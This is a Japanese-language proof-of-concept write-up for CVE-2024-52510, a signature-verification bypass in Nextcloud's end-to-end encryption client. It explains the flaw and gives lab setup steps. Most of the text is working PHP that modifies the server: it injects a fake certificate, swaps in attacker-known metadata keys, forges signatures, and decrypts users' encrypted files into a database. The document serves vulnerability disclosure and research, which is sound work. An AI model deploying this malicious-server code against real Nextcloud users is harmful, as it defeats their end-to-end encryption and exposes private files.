
CVE-2024-52510 - Nextcloud End to End Encryption における機密性の侵害
NextcloudのE2EEv2プロトコルの通常動作では、クライアントはフォルダメタデータに暗号署名を行ってからサーバーにアップロードします。これにより、ファイル共有や変更同期のためにメタデータが再取得された際に、改ざんされていないことが保証されます。
署名検証は、クライアントがfoldermetadata.cpp:177で、取得したメタデータを初期化する際に行われます。しかし、悪意のあるサーバーがこのチェックをバイパスする方法は2つあります:
空のX-E2EE-SIGNATUREレスポンスヘッダーで応答することができます。ヘッダーが空であるため、foldermetadata.cpp:168の条件により署名検証が行われず、変更されたメタデータがクライアントに受け入れられます。
users JSON配列に証明書を注入し、その証明書でメタデータに署名することができます。clientsideencryption.cpp:941でCMS_NO_SIGNER_CERT_VERIFYが渡されるため、署名証明書はチェーン検証されず、クライアントは署名証明書がcertificatePemsベクター(clientsideencryption.cpp:955-971)に存在することだけをチェックします。このベクターはサーバーが制御します。
このPOCでは、実装がより難しい後者の方法を実演しますが、両方とも動作確認済みです。
悪意のあるサーバーはこのバイパスを利用して、サーバーが把握しているメタデータキーをクライアントに提供できます。クライアントはこのメタデータキーを使用して後続のファイルを暗号化するため、サーバーはエンドツーエンド暗号化フォルダ内のファイルを復号して読むことができます。
この署名バイパスの悪用方法は、Albrecht、Backendal、Coppola、Patersonが2023年に発見した攻撃(https://eprint.iacr.org/2024/546)に基づいており、これは以前のバージョンのE2EEプロトコルに対するものです。 実際、メタデータキーの認証は、この攻撃に対する緩和策でした(リンク先論文のセクション5.1を参照)。
このリポジトリをクローンし、DevContainer拡張機能を使用してVS Codeで開きます。NextcloudサーバーリポジトリのものをベースにしたDevContainerが用意されており、以下の変更が加えられています:
7001にmitmproxyリバースプロキシが存在します。Web UIはポート7002でアクセスできます。encryptionアプリとend_to_end_encryptionアプリも有効になり、ユーザー名とパスワードがsharerのアカウントが作成されます。サーバーが起動したら、最新のクライアントを使用してhttp://localhost:8000(またはリバースプロキシ経由でhttp://localhost:7001)に接続します。現在、v3.13.2 AppImageでテスト済みです。
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
プロンプトが表示されたら、ユーザー名sharer、パスワードsharerでログインします。デフォルトの同期オプション(~/Nextcloud/ディレクトリを作成し、その中にwelcome.txtを配置)を受け入れ、Nextcloudクライアント設定でエンドツーエンド暗号化を設定します。
~/Nextcloudディレクトリ内に新しいフォルダencrypted_folderを作成します。Nextcloudクライアント設定で、このフォルダを暗号化済みとしてマークします。

Nextcloud/encrypted_folder内にシンプルなテキストファイルを作成し、同期されるのを待ちます。# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
Adminerでhttp://localhost:8080/にアクセスし、以下の資格情報でPostgresデータベースにログインします:
postgrespostgrespostgresそして、oc_e2e_encryption_metadataテーブルとoc_e2e_encryption_decryptedテーブルに移動します。復号されたメタデータとファイルの内容が平文で表示されるはずです。

上記のスクリーンショットでは、追加のテストファイルがいくつか作成・削除されているため、実際の表示とは多少異なります。
このリポジトリはNextcloudサーバーリポジトリとエンドツーエンド暗号化アプリリポジトリをベースにしています。ほとんどのコードは変更されていないため、変更点について説明します。
まず、MetaDataStorage.phpのgetMetadataメソッドが、新しいgetFakeUserMetadataメソッドを呼び出すように変更され、返されるメタデータを改ざんしています。
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
getFakeUserMetadataメソッドでは、まず選択した証明書をusers JSONキーに注入します。これは署名の偽造を容易にするためです。
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* This is a non-root metadata. Return as normal*/
return json_encode($metaData);
}
/*
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Create a new private key for the fake user */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}
$newUser = new \stdClass();
$newUser->certificate = $pemCertificate;
array_push($metaData->users, $newUser);
}
次に、クライアントの公開鍵にアクセスできるため、独自の鍵を暗号化し、暗号化されたメタデータキーを自分たちが制御する鍵に置き換えることができます。
/*
* Step 2: Change all the metadata keys to keys that we control.
*/
foreach ($metaData->users as $userData) {
$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
}
/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
if (!is_null($newUser)) {
$newUser->userId = $this->fakeUserId;
}
メタデータキーを改ざんしたため、暗号文も変更する必要があります。攻撃が既に成功している場合、現実のメタデータにアクセスできるため、それを再暗号化できます。そうでない場合は、空のメタデータオブジェクトを初期化して暗号化します。
/*
* Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
* Then as long as we don't trigger a downsync, the next PUT will
* contain metadata encrypted with a key known to us.
*/
$fakeMetadata = new \stdClass();
$fakeMetadata->folders = new \stdClass();
$fakeMetadata->files = new \stdClass();
try {
$metadataEntities = $this->metadataMapper->getByFolderId($id);
foreach ($metadataEntities as $metadataEntity) {
$encryptedFilename = $metadataEntity->getEncryptedFilename();
if ($metadataEntity->isDirectory()) {
$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
} else {
$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
}
}
} catch (DoesNotExistException $ex) {
/* Return empty metadata */
}
$fakeMetadata->counter = $this->getCounter($id);
/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
$fakeMetadata->keyChecksums = array();
array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));
/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
$plaintext = gzencode(json_encode($fakeMetadata));
$nonce = openssl_random_pseudo_bytes(16);
$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
$metaData->metadata->nonce = base64_encode($nonce);
$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
/* Ensure whatever metadata we return syncs up with what is stored on disk */
$folder->getFile($this->metaDataFileName)->putContent($metaData);
最後に、改ざんしたJSONペイロードを取得し、自分の証明書で再署名します。別の方法として、ここで空の署名を使用することもできます。
/* Note: We only need to forge a signature for root metadata */
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
file_put_contents($metadataTempFile, base64_encode($metaData));
if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
$signature = base64_encode(file_get_contents($signatureTempFile));
$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
} else {
$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
}
unlink($signatureTempFile);
unlink($metadataTempFile);
return $metaData;
}
メタデータが改ざんされると、クライアントは新しいメタデータを暗号化する際に、私たちの暗号鍵を使用します。新しいメタデータを受信すると、私たちの鍵で復号を試みます。
--- original/lib/Controller/MetaDataController.php 2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php 2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
}
if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
}
+ $this->metaDataStorage->decryptMetaData($id, $metaData);
+
try {
$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
} catch (MissingMetaDataException $e) {
public function decryptMetaData(int $id, string $metaData) {
$this->verifyFolderStructure();
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
/* Try to decrypt the incoming metadata with our fake key */
$metaData = json_decode($metaData);
$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
$ciphertext = substr($ciphertextAndTag, 0, -16);
$nonce = base64_decode($metaData->metadata->nonce);
$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
/* If we succeed, store the decrypted metadata */
if ($gzippedPlaintext) {
$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
foreach ($decodedMetadata->files as $encryptedFilename => $file) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setEncryptedFilename($encryptedFilename);
$metadataEntity->setKey($file->key);
$metadataEntity->setKey($file->key);
$metadataEntity->setNonce($file->nonce);
$metadataEntity->setAuthenticationTag($file->authenticationTag);
$metadataEntity->setFilename($file->filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setKey($file->key);
$newMetadata->setNonce($file->nonce);
$newMetadata->setAuthenticationTag($file->authenticationTag);
$newMetadata->setFilename($file->filename);
$this->metadataMapper->insert($newMetadata);
}
}
foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setFilename($filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setFilename($filename);
$this->metadataMapper->insert($newMetadata);
}
}
}
}
最後に、新しいファイルが作成されたときのリスナーを作成し、復号されたメタデータ内のファイルキーを使用して復号を試みます。
class NodeCreatedListener implements IEventListener {
private MetadataMapper $metadataMapper;
private PlaintextMapper $plaintextMapper;
public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
$this->metadataMapper = $metadataMapper;
$this->plaintextMapper = $plaintextMapper;
}
public function handle(Event $event): void {
if (!($event instanceof NodeCreatedEvent)) {
return;
}
$node = $event->getNode();
$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
if ($node instanceof File) {
$curr = $node;
while (!($curr instanceof Root)) {
$curr = $curr->getParent();
$id = $curr->getId();
try {
$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
} catch (DoesNotExistException $ex) {
continue;
}
/* Metadata found: try to decrypt */
$key = base64_decode($metadata->getKey());
$nonce = base64_decode($metadata->getNonce());
$authenticationTag = base64_decode($metadata->getAuthenticationTag());
$ciphertext = substr($node->getContent(), 0, -16);
$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);
if ($plaintext) {
/* Decryption successful. Store in DB */
try {
$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->update($plaintextEntity);
} catch (DoesNotExistException $ex) {
$plaintextEntity = new Plaintext();
$plaintextEntity->setId($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->insert($plaintextEntity);
}
break;
}
}
}
}
}